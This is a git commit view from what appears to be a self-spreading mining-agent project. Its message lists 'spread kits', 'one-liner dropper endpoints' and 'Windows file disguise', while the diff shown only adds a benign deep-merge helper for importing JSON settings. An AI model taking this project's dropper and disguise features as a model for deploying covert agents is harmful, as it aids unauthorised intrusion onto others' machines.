Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -6,6 +6,29 @@ import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import './Pages.css';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
function deepMerge<T extends object>(base: T, override: Partial<T>): T {
const result = { ...base } as T;
for (const key in override) {
const val = override[key];
const baseVal = base[key];
if (
val !== null &&
val !== undefined &&
typeof val === 'object' &&
!Array.isArray(val) &&
typeof baseVal === 'object' &&
baseVal !== null &&
!Array.isArray(baseVal)
) {
result[key] = deepMerge(baseVal as object, val as object) as T[typeof key];
} else if (val !== undefined) {
result[key] = val as T[typeof key];
}
}
return result;
}
export default function SettingsPage() {
const [config, setConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
@@ -98,7 +121,9 @@ export default function SettingsPage() {
reader.onload = (evt) => {
try {
const data = JSON.parse(evt.target?.result as string);
setConfig((prev) => (prev ? { ...prev, ...data } : prev));
// Deep-merge so importing a partial config (e.g. only "pool" key) doesn't
// wipe unrelated nested sections like "default_agent" or "mining".
setConfig((prev) => (prev ? deepMerge(prev, data) : prev));
setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`);
} catch {
setSaveMessage('Invalid JSON file.');